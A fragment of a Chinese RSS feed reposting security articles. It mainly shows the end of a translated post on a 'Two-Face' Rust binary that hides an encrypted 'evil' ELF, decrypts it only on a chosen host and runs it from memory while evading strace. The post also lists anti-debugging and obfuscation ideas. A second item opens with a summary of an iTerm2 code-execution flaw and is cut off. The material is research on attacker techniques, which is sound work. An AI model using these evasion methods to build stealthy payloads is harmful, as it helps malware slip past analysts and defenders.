leaf="">&#34;OUT_DIR&#34;</span></span><span leaf="">), </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;/target_exe.rs&#34;</span></span><span leaf="">));</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">fn</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">main</span></span><span leaf="">() -&gt; io::</span><span style="color: rgb(215, 58, 73);"><span leaf="">Result</span></span><span leaf="">&lt;!&gt; {</span><br/><span leaf="">    twoface</span><span style="color: rgb(215, 58, 73);"><span leaf="">::</span></span><span leaf="">run</span><span style="color: rgb(215, 58, 73);"><span leaf="">::</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">run</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">::</span></span><span leaf="">&lt;twoface::host::HostPartitionUuids&gt;(</span><br/><span leaf="">        NORMAL_EXE,</span><br/><span leaf="">        HIDDEN_EXE_BLACK,</span><br/><span leaf="">        HIDDEN_EXE_KEY,</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">&amp;</span></span><span leaf="">HIDDEN_EXE_DERIVATION_SALT,</span><br/><span leaf="">    )</span><br/><span leaf="">}</span></code></pre><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">从内存运行</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">细心的读者可能已经注意到，构建时以二进制 ELF 文件作为输入，运行时按原样启动，这在已执行的 ELF 中难以实现。一种可能方式是将待执行的程序写入文件系统，再对其调用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">exec</span></code><span leaf="">系统调用。对于 &#34;hidden&#34; 程序，这要求以容易被隔离或观察的形式写入解密后的二进制文件，恰恰是要规避的情形。其他可选方法包括使用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">O_TMPFILE</span></code><span leaf="">标志创建文件（该文件对其他进程不可见），或将目标 ELF 的所有页映射到内存（操作繁琐，且需要映射可执行页，可能触发运行时检测或加固问题）。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">最终选择 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">memfd_create</span></code><span leaf="">系统调用，它创建一个不由文件支持的文件描述符。目标二进制文件写入其中后，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">fexecve</span></code><span leaf="">系统调用以新的进程映像替换当前进程映像，任务即告完成。</span></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">增加一层趣味</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">至此已有一套可行方案：构建时将两个二进制文件打包为一个，运行时读取主机数据以识别目标，并根据结果从内存中运行 &#34;normal&#34; 或 &#34;hidden&#34; 二进制文件。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">此时，解密后的 &#34;hidden&#34; 二进制文件不会作为整体出现在进程内存中，因为 AES 块在解密的同时可即时写入随后用于执行的文件描述符。这是一个不错的特性，然而写入操作即使对非特权用户也极易观察。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">例如，使用一段创建 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">memfd</span></code><span leaf="">并向其写入数据的 Python 单行程序，通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">strace</span></code><span leaf="">即可看到写入的数据：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">$ strace -e write python3 -c &#39;import os; fd = os.memfd_create(&#34;&#34;); f = open(fd, &#34;wb&#34;); f.write(b&#34;secret data&#34;)&#39;</span><br/><span leaf="">write(3, &#34;secret data&#34;, 11)             = 11</span><br/><span leaf="">+++ exited with 0 +++</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">每个解密的 AES 块都可被同样观察到，从而重建出完整的 &#34;hidden&#34; 二进制文件。当然，这需要在目标系统上执行分析，但若能规避此情形则更佳。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">为此，将采用不同方式将解密后的 &#34;hidden&#34; 程序 ELF 数据写入目标文件描述符，各方式各有优劣：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">使用 io_uring: 不发出 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">write</span></code><span leaf="">系统调用，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">strace</span></code><span leaf="">等工具看不到写入的数据，然而该机制在系统上可能不受支持或被禁用</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">通过 mmap 映射内存段：同样无可追踪的写入，但需要大量系统调用来映射或取消映射每个数据块（影响性能），使完整的解密文件在任一时刻都不在内存中可见</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">回退到传统 write: 完整的解密文件数据仍不出现在进程内存中，但 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">write</span></code><span leaf="">调用容易被追踪</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">注意，无论采用哪种方式，这都无法抵御来自特权用户的高级运行时分析。内存中文件描述符的数据虽未映射到用户空间内存，但可从内核中访问并提取。</span></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">结果</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">完整代码位于 <a href="https://github.com/synacktiv/twoface，包含一个示例" target="_blank">https://github.com/synacktiv/twoface，包含一个示例</a> &#34;harmless&#34;/&#34;normal&#34; 二进制、另一个 &#34;hidden&#34;/&#34;evil&#34; 二进制、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">twoface</span></code><span leaf="">库，以及一个用于整体测试的示例：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">test-example</span><br/><span leaf="">harmless_binary</span><br/><span leaf="">├── Cargo</span><span style="color: rgb(111, 66, 193);"><span leaf="">.toml</span></span><br/><span leaf="">└── src</span><br/><span leaf="">    └── </span><span style="color: rgb(34, 134, 58);"><span leaf="">main</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">.rs</span></span><br/><span leaf="">evil_binary</span><br/><span leaf="">├── Cargo</span><span style="color: rgb(111, 66, 193);"><span leaf="">.toml</span></span><br/><span leaf="">└── src</span><br/><span leaf="">    └── </span><span style="color: rgb(34, 134, 58);"><span leaf="">main</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">.rs</span></span><br/><span leaf="">example</span><br/><span leaf="">├── build</span><span style="color: rgb(111, 66, 193);"><span leaf="">.rs</span></span><br/><span leaf="">├── Cargo</span><span style="color: rgb(111, 66, 193);"><span leaf="">.toml</span></span><br/><span leaf="">├── host</span><span style="color: rgb(111, 66, 193);"><span leaf="">.json</span></span><br/><span leaf="">└── src</span><br/><span leaf="">    └── </span><span style="color: rgb(34, 134, 58);"><span leaf="">main</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">.rs</span></span><br/><span leaf="">twoface</span><br/><span leaf="">├── Cargo</span><span style="color: rgb(111, 66, 193);"><span leaf="">.toml</span></span><br/><span leaf="">└── src</span><br/><span leaf="">    ├── build</span><span style="color: rgb(111, 66, 193);"><span leaf="">.rs</span></span><br/><span leaf="">    ├── crypto</span><br/><span leaf="">    │   ├── dec</span><span style="color: rgb(111, 66, 193);"><span leaf="">.rs</span></span><br/><span leaf="">    │   ├── enc</span><span style="color: rgb(111, 66, 193);"><span leaf="">.rs</span></span><br/><span leaf="">    │   └── mod</span><span style="color: rgb(111, 66, 193);"><span leaf="">.rs</span></span><br/><span leaf="">    ├── exe_writer</span><br/><span leaf="">    │   ├── io_uring</span><span style="color: rgb(111, 66, 193);"><span leaf="">.rs</span></span><br/><span leaf="">    │   ├── mmap</span><span style="color: rgb(111, 66, 193);"><span leaf="">.rs</span></span><br/><span leaf="">    │   └── mod</span><span style="color: rgb(111, 66, 193);"><span leaf="">.rs</span></span><br/><span leaf="">    ├── host</span><span style="color: rgb(111, 66, 193);"><span leaf="">.rs</span></span><br/><span leaf="">    ├── lib</span><span style="color: rgb(111, 66, 193);"><span leaf="">.rs</span></span><br/><span leaf="">    └── run</span><span style="color: rgb(111, 66, 193);"><span leaf="">.rs</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">执行 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">test-example</span></code><span leaf="">会：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">构建 &#34;harmless&#34; 二进制</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">构建 &#34;evil&#34; 二进制</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">从 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">example/host.json</span></code><span leaf="">加载分区 UUID</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">构建一个 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">example</span></code><span leaf="">二进制，将 &#34;harmless&#34; 与已加密的 &#34;evil&#34; ELF 一并打包</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">运行该二进制，观察实际执行的是哪一个</span></p></li></ul><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">结论</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这个概念验证展示了如何利用 Rust 的构建时代码能力，构建出既高级又对开发者友好的机制，并实现 &#34;Two-Face&#34; 二进制。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这只是冰山一角，进一步可以：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">加入构建时混淆，例如隐藏从 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/dev/disk/by-uuids</span></code><span leaf="">读取分区 UUID 的行为</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">加入运行时反调试技术</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">利用已在内存中的主机特定数据派生密钥，例如对共享库页面进行哈希</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">串联多层加载器，每层使用不同来源的派生数据</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">动态解密 ELF 内存页，例如借助 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">userfaultfd</span></code></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">……这些可能成为后续文章的主题。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-top: 15px;margin-right: 0px;margin-left: 0px;border-left-width: 4px;border-left-style: solid;border-left-color: rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);margin-bottom: 0px !important;"><p style="margin: 0px 0px 15px;"><span leaf="">免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。</span></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://www.synacktiv.com/en/publications/creating-a-two-face-rust-binary-on-linux">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=c5b3541a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAxODM5ODQzNQ%3D%3D%26mid%3D2247495869%26idx%3D1%26sn%3D67a942872ebe2ff8b60860b40d756a63">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 30 Apr 2026 12:54:00 +0800</pubDate>
    </item>
    <item>
      <title>连 cat readme.txt 都不安全：iTerm2 SSH 集成协议信任漏洞分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&amp;mid=2247495869&amp;idx=2&amp;sn=f802ad2e964460c1872d1b659704c7e3</link>
      <description>iTerm2 的 SSH 集成功能因信任失效，允许恶意终端输出伪造 conductor 协议，诱使 iTerm2 经由 PTY 向本地 shell 写入攻击者构造的可执行路径，最终触发任意代码执行——仅需执行 cat readme.txt。</description>
      <content:encoded><![CDATA[<p><span>Calif</span> <span>2026-04-30 12:54</span> <span style="display: inline-block;">中国香港</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=733aae51&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nSgDsKJ9NgdkQMe5F0zMVKvr72J3vO2sE1iaL8o9mCO7LqBShwo3jbDGV95MibVVicF7eXuLqZrMYicfDC0b2YoCD7081jpTnwoQwhg%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>iTerm2 的 SSH 集成功能因信任失效，允许恶意终端输出伪造 conductor 协议，诱使 iTerm2 经由 PTY 向本地 shell 写入攻击者构造的可执行路径，最终触发任意代码执行——仅需执行 cat readme.txt。</p>
  <table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top-width: 1px;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">原文链接</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">作者</span></p></th></tr></thead><tbody><tr style="border-top-width: 1px;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf=""><a href="https://blog.calif.io/p/mad-bugs-even-cat-readmetxt-is-not" target="_blank">https://blog.calif.io/p/mad-bugs-even-cat-readmetxt-is-not</a></span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Calif</span></p></td></tr></tbody></table><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在此前一篇 AI 发现的漏洞 系列文章中，我们以 Vim 和 Emacs 为对象，分析了看似无害的工作流如何能以出人意料的方式触发代码执行。这次，我们把问题推进一步：</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">cat readme.txt</span></code><span leaf="">安全吗？</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">结果是：如果你用的是 iTerm2，并不安全。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 